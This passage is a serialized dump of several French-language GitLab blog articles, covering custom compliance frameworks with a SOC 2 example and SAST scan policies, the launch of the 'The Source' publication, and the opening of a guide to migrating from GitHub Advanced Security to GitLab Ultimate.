concernés.  \n3. Sélectionnez le ou les projets dans la liste.  \n4. Cliquez sur le bouton **Choisir une action groupée**.  \n5. Sélectionnez **Appliquer les frameworks aux projets sélectionnés**.  \n6. Cliquez sur le bouton **Sélectionner des frameworks**.  \n7. Sélectionnez le ou les frameworks de votre choix dans la liste.  \n8. Cliquez sur le bouton **Appliquer**.\n\n![Écran du Centre de conformité avec la liste déroulante affichant le framework SOC 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097114260.png)\n\nUne fois cette opération effectuée, le framework sélectionné est associé aux projets choisis. Les exigences définies sont alors visibles et peuvent être vérifiées directement dans l'interface GitLab.\n\n**Étape 4 : surveillez et générez des rapports de conformité**\n\nUne fois votre framework de conformité en place, GitLab vous offre un suivi continu et centralisé dans le **Centre de conformité** :\n\n1. Suivez le statut de conformité de vos projets, y compris les détails sur les contrôles appliqués, ainsi que des correctifs suggérés pour les contrôles ayant échoué.\n2. Générez des **rapports de conformité** pour les audits et l'examen par les parties prenantes.  \n3. Configurez des **alertes de conformité** pour informer les parties prenantes des problèmes de conformité potentiels. \n4. Consultez les **événements d'audit** pour une vue d'ensemble des mesures prises concernant les paramètres de conformité.\n\n![Écran du Centre de conformité affichant le framework de test SOC 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097114263.png)\n\n## Exemple : mise en œuvre d'un framework de conformité SOC 2\n\nLe SOC 2 (System and Organization Controls 2), développée par l'American Institute of Certified Public Accountants, est une norme d'audit rigoureuse qui évalue les contrôles mis en œuvre par les prestataires de services en matière de sécurité, de disponibilité, d'intégrité du traitement des données, de confidentialité et de protection des données personnelles. Pour en savoir plus, consultez le [guide sur le respect des exigences de sécurité SOC 2 avec GitLab](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/).\n\nVoici un exemple concret d'implémentation d'un framework de conformité personnalisé GitLab dont l'objectif est de vérifier la conformité à la norme de sécurité SOC 2 à l’aide des contrôles GitLab préconfigurés suivants :\n\n* Contrôles contre les accès non autorisés  \n* Procédures d'identification et d'atténuation des risques  \n* Systèmes de détection et de gestion des incidents de sécurité\n\n**Avertissement :** il ne s'agit là que d'un exemple qui illustre certains des contrôles possibles pour vérifier l'adhésion à la norme SOC 2. Avant toute mise en production, validez votre configuration avec votre équipe sécurité ou conformité.\n\nCe framework se présentera comme suit :\n\n* **Nom :** Exigences de sécurité SOC 2  \n* **Description :** Ajout des exigences de sécurité pour la conformité au framework SOC 2  \n* **Exigences :**  \n\n  * **Contrôles contre les accès non autorisés**  \n\n    * Authentification SSO activée  \n    * Portée des tokens pour les jobs CI/CD activée \n    * Authentification multifacteur requise au niveau de l'entreprise\n* **Procédures d'identification et d'atténuation des risques**   \n\n  * Au moins deux approbations requises avant tout merge \n  * Merge request approuvée par l'auteur      \n  * Merge request approuvée par les validateurs \n  * Branche par défaut protégée    \n* **Systèmes de détection et de gestion des incidents de sécurité**  \n\n  * Analyse des dépendances activée  \n  * SAST activé \n  * DAST activé\n\nLorsqu'il est appliqué à vos projets, ce framework vous permet de surveiller toute erreur de conformité et d'identifier les corrections envisageables. Notez que vous pouvez associer plusieurs frameworks de conformité à vos projets, par exemple, pour couvrir les exigences d'intégrité des processus SOC 2.\n\n## Comment définir des stratégies de sécurité en accord avec les exigences de conformité ?\n\nBien que cet aspect ne soit pas obligatoire, il est fortement recommandé d'appliquer des stratégies de sécurité aux projets associés à un framework de conformité personnalisé. Cette approche garantit que les exigences de conformité critiques sont correctement appliquées de manière automatisée et cohérente dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"). Par exemple, si votre framework de conformité personnalisé impose que des scans de sécurité soient exécutés sur chaque pipeline, une stratégie de sécurité peut en forcer l’exécution.\n\nGitLab fournit différentes stratégies de sécurité pour répondre aux différents objectifs de sécurité et de conformité :\n\n* [Stratégie d'exécution des scans](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/) : impose l'exécution de scans de sécurité dans les pipelines ou selon un calendrier précis.  \n* [Politique d'approbation des merge requests](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) : définit des paramètres et règles d'approbation au niveau du projet en fonction des résultats des scans.  \n* [Stratégie d'exécution de pipeline](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/) : force l'exécution de jobs CI/CD spécifiques dans les pipelines. \n* [Stratégie de gestion des vulnérabilités](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/) : corrige automatiquement les vulnérabilités afin qu’elles soient supprimées de la branche par défaut.\n\nSi votre framework de conformité personnalisé exige l'exécution de scans SAST, voici comment créer une stratégie de sécurité pour en garantir l’exécution automatique :\n\n1. Accédez à un projet qui dispose d'un framework de conformité personnalisé incluant les **scans SAST**. \n2. Dans la barre latérale du projet, sélectionnez **Sécurisation > Politiques**.\n3. Cliquez sur le bouton **Nouvelle stratégie**.  \n4. Dans la section **Stratégie d'exécution des scans**, cliquez sur le bouton **Sélectionner une stratégie**. \n5. Renseignez le **Nom** et la **Description**. \n6. Dans la section **Actions**, sélectionnez **SAST** comme type de scan à exécuter.\n\n![Écran des actions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097114264.png)\n\n7. Dans la section **Conditions**, sélectionnez tous les pipelines, quelle que soit la branche.\n\n![Écran des conditions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097114265.png)\n\n8. Cliquez sur le bouton **Configurer avec une merge request**.  \n9. Une merge request est alors créée dans un projet distinct dédié aux stratégies de sécurité appliquées à ce projet.\n10. Cliquez sur le bouton **Fusionner**.\n\nDésormais, les scans SAST s'exécuteront automatiquement sur toutes les branches du projet afin de garantir le respect continu des exigences de conformité. Nous vous conseillons de parcourir les autres types de stratégies de sécurité pour identifier celles qui répondent le mieux à vos besoins.\n\n## 5 bonnes pratiques pour des frameworks de conformité efficaces\n\nPour tirer pleinement parti des frameworks de conformité personnalisés de GitLab, nous vous conseillons de suivre les principes suivants :\n\n1. **Avancez pas à pas :** commencez par une seule réglementation ou norme critique avant d'aller plus loin.  \n2. **Impliquez les principales parties prenantes :** incluez les équipes de conformité, de sécurité et de développement dans la création du framework.  \n3. **Automatisez dans la mesure du possible :** utilisez GitLab CI/CD pour automatiser les contrôles de conformité.  \n4. **Documentez minutieusement votre approche :** conservez une documentation claire du lien entre chaque exigence réglementaire et les contrôles GitLab mis en place.  \n5. **Révisez régulièrement vos frameworks :** mettez à jour vos frameworks à mesure que les réglementations évoluent ou que de nouvelles exigences sont nécessaires.\n\n## Lancez-vous dès aujourd'hui\n\nLes frameworks de conformité personnalisés de GitLab marquent une avancée majeure pour intégrer la conformité directement dans le workflow de développement DevSecOps. En les adoptant, vous réduisez les frais liés à la conformité, améliorez votre gestion des risques et accélérez vos cycles de développement logiciel, tout en garantissant la meilleure conformité possible aux exigences réglementaires.\n\nGrâce à cette approche, vos équipes bénéficient à la fois de la flexibilité dont elles ont besoin pour répondre aux exigences réglementaires et de la structure indispensable pour garantir des pratiques de conformité cohérentes dans l'ensemble de l'entreprise.\n\nDans un contexte réglementaire de plus en plus exigeant, des outils comme les frameworks de conformité personnalisés de GitLab sont essentiels pour traiter la conformité comme un processus continu, sans compromettre la vélocité de développement.\n\n> Lancez-vous dès aujourd'hui avec un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/).\n\nPour en savoir plus, consultez nos ressources connexes :\n\n* [Documentation sur les frameworks de conformité personnalisés](https://docs.gitlab.com/user/compliance/compliance_center/compliance_status_report/)\n* [Epic sur les frameworks de conformité personnalisés](https://gitlab.com/groups/gitlab-org/-/epics/13295)\n* [Documentation sur les stratégies de sécurité](https://docs.gitlab.com/user/application_security/policies/)\n* [Solutions de sécurité et de conformité de GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)",[9,731,753,702,703],{"slug":962,"featured":90,"template":689},"how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","content:fr-fr:blog:how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","How To Use Gitlabs Custom Compliance Frameworks In Your Devsecops","fr-fr/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","fr-fr/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"_path":968,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":969,"content":973,"config":981,"_id":983,"_type":13,"title":984,"_source":15,"_file":985,"_stem":986,"_extension":18},"/fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab",{"config":970,"title":971,"description":972},{"noIndex":6},"Les frameworks de conformité personnalisés de GitLab","Réduisez le suivi manuel, accélérez la préparation aux audits et appliquez les contrôles plus rapidement, directement depuis les workflows DevSecOps de GitLab.",{"heroImage":974,"body":975,"authors":976,"updatedDate":978,"date":978,"title":979,"tags":980,"description":972,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750099268/Blog/Hero%20Images/Blog/Hero%20Images/GitLab_Blog_Header_v4_YBzFAgt2EAkqQfqxNFEgj_1750099267940.svg","Maintenir plusieurs frameworks de conformité dans des pipelines DevSecOps en constante évolution n’a jamais été aussi difficile. À mesure que les normes évoluent et deviennent plus complexes, les entreprises croulent sous des exigences qui se chevauchent et des processus manuels, impactant ainsi le temps des développeurs et ralentissant les audits.\n\nPour résoudre ce problème, GitLab lance les frameworks de conformité personnalisés et 50 contrôles préconfigurés pour une large gamme de normes de conformité, notamment [ISO 27001](https://about.gitlab.com/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey/ \"ISO 27001\"), le [benchmark CIS](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/) et [SOC 2](https://about.gitlab.com/fr-fr/the-source/security/how-gitlab-can-help-you-prepare-for-your-soc-2-exam/ \"SOC 2\").\n\nLes frameworks de conformité personnalisés permettent aux entreprises de mapper plusieurs contrôles qui se chevauchent, issus de différentes normes et réglementations, en un framework unique et unifié. Cette flexibilité apporte une efficacité indispensable, permettant aux entreprises d'adapter leurs programmes de conformité en fonction de leurs besoins. Comme ces politiques sont intégrées directement dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") de GitLab, la conformité est appliquée automatiquement, sans perturber le développement.\n\nDe plus, avec les contrôles préconfigurés, les équipes peuvent accélérer l'adoption de la conformité, éliminant le besoin d'outils externes ou de configurations personnalisées complexes. En intégrant la conformité directement dans le cycle de développement logiciel, GitLab offre une visibilité en temps réel, une application automatisée et une préparation aux audits simplifiée pour que les équipes puissent livrer des logiciels sécurisés et conformes, plus rapidement.\n\nLes frameworks de conformité personnalisés et les contrôles préconfigurés sont disponibles dès maintenant dans [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\").\n\n## Une pression croissante en matière de conformité\n\nLes entreprises doivent naviguer entre différents frameworks de conformité pour garantir le respect de nombreuses réglementations et fournir une assurance à leurs clients. Bien que ces frameworks partagent souvent des contrôles communs, ces derniers sont rarement alignés. Le résultat est une réalité que les équipes de conformité ne connaissent que trop bien : un suivi manuel via des feuilles de calcul qui génère le chaos, en particulier lors des examens d'audit.\n\nLes équipes de développement sont entraînées dans le tourbillon de la conformité car le développement de logiciels modernes est au cœur de la satisfaction de bon nombre de ces contrôles. Au lieu de créer et de livrer des logiciels sécurisés, ils se retrouvent à soutenir la collecte de preuves et les revues de conformité. Une étude « Total Economic Impact™ » sur GitLab Ultimate et menée par Forrester a révélé qu'avant GitLab, [les équipes de développement consacraient jusqu'à 80 heures par an de leur temps sur des tâches d'audit et de conformité](https://tei.forrester.com/go/GitLab/GitLabUltimate/?lang=en-us#Appendixes), du temps détourné de l'écriture de code et de la création de valeur commerciale.\n\nEn plus d'être inefficace, cette approche fragmentée est également coûteuse. Les [coûts liés à la conformité ont augmenté de 60 % au cours des cinq dernières années](https://www.cato.org/sites/cato.org/files/2024-01/research-brief367.pdf), selon le CATO Institute. Sans un système qui connecte l'application de la conformité à l'endroit où les logiciels sont créés, la conformité restera une réflexion après coup contraignante qui creuse un fossé entre les équipes de développement et de sécurité. \n\n## Pourquoi les frameworks de conformité personnalisés sont-ils importants ?\n\nNos clients nous ont demandé une plus grande flexibilité en matière de suivi et d’application de la conformité dans les workflows DevSecOps. Avec cette version, nous sommes heureux de donner à nos clients les moyens suivants :\n\n### Une conformité qui s'adapte à l'entreprise, et non l'inverse\n\nLes exigences réglementaires se chevauchent entre plusieurs frameworks, ce qui entraîne une complexité dans le suivi et l'application. Les frameworks de conformité personnalisés permettent aux entreprises de créer un framework unifié qui associe les exigences et les contrôles de plusieurs normes, réduisant l'effort manuel et la dépendance à des consultants souvent coûteux.\n\n### Une conformité plus rapide, de la configuration jusqu'aux audits\n\nCommencez à surveiller la conformité instantanément avec des contrôles préconfigurés alignés sur les normes de conformité clés, telles que SOC 2, ISO 27001 et les benchmarks CIS. La surveillance automatisée de la conformité et la collecte de preuves réduisent la préparation des audits de plusieurs semaines à quelques jours, permettant aux équipes de développement de rester concentrées sur la livraison de logiciels sécurisés.\n\n### Une conformité intégrée à la vitesse du développement\n\nContrairement aux outils GRC traditionnels qui fonctionnent de manière isolée, GitLab applique la conformité directement dans les pipelines CI/CD. Cette intégration signifie que la validation de la conformité se produit automatiquement lorsque le code progresse dans le pipeline, éliminant la friction traditionnelle entre la rapidité de développement et les exigences de sécurité.\n\nVoici un exemple de création d’un framework de conformité personnalisé dans GitLab :\n\n![custom compliance frameworks - edit requirement screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099291312.png)\n\n![custom compliance frameworks - screen showing requirements](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099291312.png)\n\n## Ce qu'il faut savoir sur le déploiement des frameworks de conformité personnalisés\n\nCette version comporte deux aspects critiques : \n\n* À partir de GitLab 18.0, les frameworks de conformité personnalisés seront activés par défaut. \n* Depuis GitLab 18.0, nous avons activé les frameworks de conformité personnalisés par défaut. Nous avons également supprimé les « Normes » du Centre de conformité pour simplifier l'expérience. Mais ne vous inquiétez pas, vos contrôles de conformité existants s'appliquent toujours. Nous avons converti les normes GitLab Standard et SOC 2 en labels de framework de conformité et transformé leurs vérifications de conformité en contrôles (notre nouveau terme à l'avenir). \n* Seuls les clients GitLab Ultimate peuvent définir des exigences, mapper des contrôles et appliquer des frameworks de conformité. Les utilisateurs de GitLab Premium peuvent toujours utiliser des labels de conformité, mais ils n'auront pas accès à l'ensemble des fonctionnalités. \n\nPour en savoir plus sur les frameworks de conformité personnalisés, découvrez cette vidéo d'introduction :\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n      \u003Ciframe src=\"https://www.youtube.com/embed/yfJ0oHCIn-8?si=z_Rt_ikry4RhjEAC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n    \u003C/figure>\n\n\u003C!-- blank line -->\n\n## Déplacez la conformité en amont avec GitLab\n\nSimilaire à la sécurité, déplacer la conformité en amont signifie aborder les exigences de conformité plus tôt dans le cycle de vie du développement logiciel. Étant donné que les logiciels sont essentiels à la conformité d'une entreprise, l'intégration de contrôles là où les logiciels sont créés est cruciale. Avec GitLab, les équipes de sécurité et de conformité peuvent définir des frameworks, mapper des contrôles et automatiser l'application directement dans les pipelines CI/CD. Les équipes de développement restent concentrées sur la livraison de fonctionnalités, tandis que les équipes de conformité bénéficient d'une visibilité en temps réel et d'une collecte automatisée de preuves pour être prêtes pour l'audit. Cette approche unifiée comble le fossé entre le développement et la conformité, aidant les entreprises à atteindre une conformité continue dans le cadre de leur pratique DevSecOps.\n\nEn conséquence, les entreprises utilisant GitLab peuvent réduire de 90 % le temps passé par les équipes de développement sur les tâches d'audit et de conformité, et accélérer les audits externes de plusieurs semaines à moins d'une semaine, selon Forrester.\n\nSi vous êtes déjà un client GitLab Ultimate et que vous souhaitez en savoir plus sur la façon dont les frameworks de conformité personnalisés peuvent contribuer à améliorer votre programme de conformité et de sécurité, consultez notre documentation du [Centre de conformité](https://docs.gitlab.com/user/compliance/compliance_center/) où nous couvrons les exigences de mise en œuvre, les cas d'utilisation et plus encore.\n\nNote : « Total Economic Impact™ » sur GitLab Ultimate est une étude réalisée par Forrester Consulting en 2024 pour le compte de GitLab. Les résultats sont basés sur une organisation composite représentative des clients interrogés.",[977,707],"Ian Khor","2025-07-31","Présentation des frameworks de conformité personnalisés dans GitLab",[9,703,702],{"featured":6,"template":689,"slug":982},"introducing-custom-compliance-frameworks-in-gitlab","content:fr-fr:blog:introducing-custom-compliance-frameworks-in-gitlab.yml","Introducing Custom Compliance Frameworks In Gitlab","fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab.yml","fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab",{"_path":988,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":989,"content":995,"config":1002,"_id":1004,"_type":13,"title":1005,"_source":15,"_file":1006,"_stem":1007,"_extension":18},"/fr-fr/blog/introducing-the-source-insights-for-the-future-of-software-development",{"title":990,"description":991,"ogTitle":990,"ogDescription":991,"noIndex":6,"ogImage":992,"ogUrl":993,"ogSiteName":673,"ogType":674,"canonicalUrls":993,"schema":994},"The Source : une mine d'informations sur l'avenir du développement logiciel","Découvrez des stratégies de développement logiciel transformatrices et des conseils d'experts sur les technologies émergentes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674616/Blog/Hero%20Images/blog-image-template-1800x945__1_.png","https://about.gitlab.com/blog/introducing-the-source-insights-for-the-future-of-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Source : une mine d'informations sur l'avenir du développement logiciel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chandler Gibbons\"}],\n        \"datePublished\": \"2024-10-29\",\n      }\n                  ",{"title":990,"description":991,"authors":996,"heroImage":992,"date":998,"body":999,"category":686,"tags":1000,"updatedDate":1001},[997],"Chandler Gibbons","2024-10-29","Le développement logiciel moderne transforme la façon dont les entreprises créent, proposent et développent de la valeur commerciale. Les équipes doivent être en mesure d’élaborer des solutions rapidement et efficacement, tout en gérant les menaces de sécurité croissantes, les technologies émergentes et les exigences de conformité de plus en plus complexes.\n\nAujourd'hui, GitLab lance [The Source](https://about.gitlab.com/fr-fr/the-source/), une nouvelle publication qui couvre l'évolution du développement logiciel en tant que moteur de la réussite commerciale. Nous partageons régulièrement des informations clés sur l'avenir du développement logiciel, étayées par les recherches et les analyses originales de nos experts métier et de nos leaders d'opinion.\n\nThe Source vous permet par exemple de trouver des réponses aux questions suivantes : \n* Comment les dirigeants peuvent-ils mesurer le retour sur investissement de l'IA tout au long du cycle de développement logiciel ?  \n* Quelle est la meilleure façon de garantir la sécurité et la conformité tout au long de la chaîne d'approvisionnement logicielle ?\n* Quels gains de productivité les équipes peuvent-elles réaliser grâce à la consolidation de leur plateforme et de leur chaîne d'outils ?\n\nVoici un aperçu du contenu que vous pouvez d'ores et déjà retrouver sur The Source : \n\n**Mesurer l'impact de l'IA : 4 étapes indispensables**\n\n« L'évaluation de la productivité dans un contexte de développement amélioré par l'IA nécessite une approche plus nuancée que celle reposant sur les indicateurs traditionnels tels que les lignes de code, les validations de code ou l'achèvement des tâches. Elle nécessite une réorientation vers des résultats commerciaux concrets qui permettent d'équilibrer la rapidité de développement, la qualité des logiciels et la sécurité. »\n- [Taylor McCaslin, expert en IA, présente les 4 étapes indispensables pour mesurer l'impact de l'IA.](https://about.gitlab.com/fr-fr/the-source/ai/4-steps-for-measuring-the-impact-of-ai/)\n\n**Identifier et remédier aux points de friction liés à la sécurité**\n\n« Bien que l'approche DevSecOps promette une meilleure intégration entre l'ingénierie et la sécurité, la présence de frustrations et de déséquilibres montre que des défis subsistent. Ce constat reflète un problème plus large lié à la manière dont les entreprises perçoivent la sécurité, organisent la collaboration entre les équipes, et allouent du temps à cette priorité. »\n- [Trouvez le bon équilibre, grâce à l'expertise de Josh Lemos, CISO de GitLab.](https://about.gitlab.com/fr-fr/the-source/security/security-its-more-than-culture-addressing-the-root-cause-of-common-security/)\n\n**L'ingénierie de plateforme au service de la réussite des entreprises**\n\n« En normalisant et en optimisant les workflows des équipes de développement, l'ingénierie de plateforme crée des \"golden paths\" optimisés pour les tâches courantes tout en offrant la flexibilité nécessaire pour les tâches plus uniques et spécialisées. »  \n- [Découvrez les bonnes pratiques de Brian Wald (GitLab Field CTO) en matière d'ingénierie de plateforme.](https://about.gitlab.com/fr-fr/the-source/platform/driving-business-results-with-platform-engineering/)\n\n## The Source, votre partenaire pour la prise de décision\n\nConsultez [The Source](https://about.gitlab.com/fr-fr/the-source/) dès aujourd'hui pour découvrir les dernières informations du secteur, obtenir des réponses en matière de leadership et découvrir les dernières nouveautés du marché à partager avec vos équipes. Vous pouvez également vous abonner à notre newsletter pour recevoir des mises à jour régulières par e-mail. Rejoignez notre communauté de leaders technologiques avant-gardistes et contribuez à façonner l'avenir du développement logiciel.",[685,9,686,684],"2024-11-11",{"slug":1003,"featured":90,"template":689},"introducing-the-source-insights-for-the-future-of-software-development","content:fr-fr:blog:introducing-the-source-insights-for-the-future-of-software-development.yml","Introducing The Source Insights For The Future Of Software Development","fr-fr/blog/introducing-the-source-insights-for-the-future-of-software-development.yml","fr-fr/blog/introducing-the-source-insights-for-the-future-of-software-development",{"_path":1009,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":1010,"content":1016,"config":1023,"_id":1025,"_type":13,"title":1026,"_source":15,"_file":1027,"_stem":1028,"_extension":18},"/fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"title":1011,"description":1012,"ogTitle":1011,"ogDescription":1012,"noIndex":6,"ogImage":1013,"ogUrl":1014,"ogSiteName":673,"ogType":674,"canonicalUrls":1014,"schema":1015},"Migrer de GitHub Advanced Security vers GitLab Ultimate : notre guide complet","Découvrez les similitudes et les différences entre GitLab Ultimate et GitHub Advanced Security, puis suivez notre tutoriel détaillé pour migrer vers GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666187/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","https://about.gitlab.com/blog/migration-guide-github-advanced-security-to-gitlab-ultimate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrer de GitHub Advanced Security vers GitLab Ultimate : notre guide complet \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-05-01\",\n      }",{"title":1011,"description":1012,"authors":1017,"heroImage":1013,"date":1018,"body":1019,"category":9,"tags":1020,"updatedDate":1022},[749],"2024-05-01","GitLab est la plateforme DevSecOps alimentée par l'IA la plus complète, qui permet de livrer rapidement des logiciels plus sécurisés depuis une seule et même plateforme pour l'ensemble de votre cycle de développement logiciel. De son côté, GitHub fournit un module d'extension appelé Advanced Security, qui, comme son nom l'indique, active des fonctionnalités de sécurité supplémentaires dans GitHub, mais ne dispose pas de la profondeur et de l'étendue des fonctionnalités de sécurité fournies nativement par GitLab. \n\nSi vous souhaitez passer à GitLab Ultimate pour améliorer votre sécurité dans tous les domaines du SDLC, utilisez ce guide pour comparer les deux offres et effectuer votre migration.\n\n## Comparaison entre GitLab Ultimate et GitHub Advanced Security\n\n[GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/) est le niveau d'abonnement de GitLab dédié aux entreprises qui cherchent à livrer des logiciels sécurisés plus rapidement. GitHub Advanced Security est un module d'extension de GitHub Enterprise, qui active des fonctionnalités de sécurité supplémentaires.\n\n### Quelles sont les similitudes entre GitLab Ultimate et GitHub Advanced Security ?\n\nGitLab Ultimate et GitHub Advanced Security fournissent tous deux :\n- des tests statiques de sécurité des applications ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)), une analyse des secrets et une analyse des dépendances\n- une veille contextualisée recensant les vulnérabilités et des conseils pour y remédier\n- une liste des dépendances ou des nomenclatures logicielles ([SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"SBOM\"))\n- des métriques et des informations clés sur la sécurité\n\n### Quelles sont les différences entre GitLab Ultimate et GitHub Advanced Security ? \n\nGitLab Ultimate diffère de GitHub Advanced Security de la manière suivante :\n\n- GitLab fournit nativement des scanners de code de sécurité supplémentaires tels que l'analyse des conteneurs, les tests dynamiques de sécurité des applications ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)), les tests d’API Web par injection de données aléatoires, et plus encore. Ces scanners sont un mélange de technologies propriétaires et open source optimisées avec des ensembles de règles personnalisés. Pour une liste complète, consultez notre [documentation pour sécuriser votre application avec GitLab](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html).\n- GitLab fournit des [garde-fous de sécurité granulaires](https://docs.gitlab.com/ee/user/application_security/policies/) pour empêcher que du code non sécurisé soit fusionné sans approbation.\n- Les scanners de sécurité de GitLab peuvent être exécutés dans des [environnements isolés ou à connectivité limitée](https://docs.gitlab.com/ee/user/application_security/offline_deployments/).\n- GitLab fournit un [Centre de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/) qui permet de surveiller les violations des exigences de conformité dans l'ensemble de l'entreprise.\n\nGitLab Ultimate fournit également des fonctionnalités supplémentaires en matière de sécurité et de conformité, de gestion de portefeuilles et de la chaîne de valeur, d'assistance à la mise à niveau en direct et bien plus encore. Consultez notre [documentation GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/) pour en savoir plus sur ces fonctionnalités supplémentaires.\n\n## Comment migrer un dépôt GitHub vers GitLab ?\n\nGitLab fournit un outil d'importation intégré qui vous permet d'importer vos projets GitHub depuis GitHub.com ou GitHub Enterprise vers GitLab. Cet outil vous permet de migrer non seulement le dépôt GitHub vers GitLab, mais également plusieurs autres éléments, notamment des tickets, des collaborateurs (membres) et des pull requests. Pour obtenir la liste complète de ce qui peut être migré, consultez notre [documentation](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data). \n\nVous pouvez effectuer votre migration de GitHub vers GitLab en suivant les étapes ci-dessous :\n1. Dans la barre latérale gauche, en haut, sélectionnez **Créer un nouveau (+)**.\n2. Sélectionnez **Nouveau projet/dépôt**.\n3. Sélectionnez **Importer un projet**.\n\n![Sélection Importer un projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/1-Import-Project.png)\n\n4. Cliquez sur le bouton **GitHub**.\n - Si vous utilisez GitLab Self-Managed, vous devez [activer l'outil d'importation GitHub](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n - Notez que d'autres outils d'importation peuvent être lancés de la même manière.\n5. Maintenant, vous pouvez effectuer l'une des actions suivantes :\n    - Autoriser OAuth de GitHub en sélectionnant **Autoriser avec GitHub**.\n    - Utiliser un jeton d'accès personnel GitHub :\n       - Rendez-vous sur [https://github.com/settings/tokens/new](https://github.com/settings/tokens/new).\n       - Dans le champ **Note**, saisissez une description du token.\n       - Sélectionnez la portée du **dépôt**.\n       - En option, pour importer des collaborateurs, sélectionnez la portée **read:org**.\n       - Cliquez sur le bouton **Générer un token**.\n       - Sur la page d'importation de GitLab, dans le champ **Jeton d'accès personnel**, collez le jeton d'accès personnel GitHub.\n6. Cliquez sur le bouton **Authentification**.\n7. Sélectionnez les éléments que vous souhaitez migrer.\n8. Sélectionnez les projets que vous souhaitez migrer et leur destination.\n9. Cliquez sur le bouton **Importer**.\n\nVotre projet importé devrait maintenant s'afficher dans votre espace de travail. Pour en savoir plus sur la migration de GitHub vers GitLab, regardez cette vidéo :\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=HEpZVy94cpfPfAky\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nVous pouvez également effectuer votre migration à l'aide d'un [jeton d'accès personnel GitHub](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token) ou de l'[API REST GitLab](https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api). L'outil d'importation permet également d'importer à partir d'autres sources telles que Bitbucket ou Gitea. Pour en savoir plus, consultez notre [documentation](https://docs.gitlab.com/ee/user/project/import/).\n\n## Comment migrer fonctionnalité par fonctionnalité ?\n\nVoyons comment tirer parti de chaque fonctionnalité fournie par GitHub Advanced Security dans GitLab Ultimate. Pour continuer, vous devez disposer d'une [licence GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/). \n\nCommencez un [essai gratuit](https://about.gitlab.com/fr-fr/free-trial/devsecops/) de GitLab Ultimate.\n\n### Mise en place d'un scanner de code de sécurité\n\nGitHub fournit un scanner de code de sécurité pour offrir une veille contextualisée recensant les vulnérabilités et des conseils pour le code source statique. Vous pouvez effectuer la même action au sein de GitLab en activant [SAST](https://docs.gitlab.com/ee/user/application_security/sast/). Les scanners SAST de GitLab couvrent un ensemble de langages de programmation et de frameworks plus large que le [CodeQL](https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql) de GitHub.\n\nPour activer la mise en place d'un scanner de code de sécurité dans GitLab, 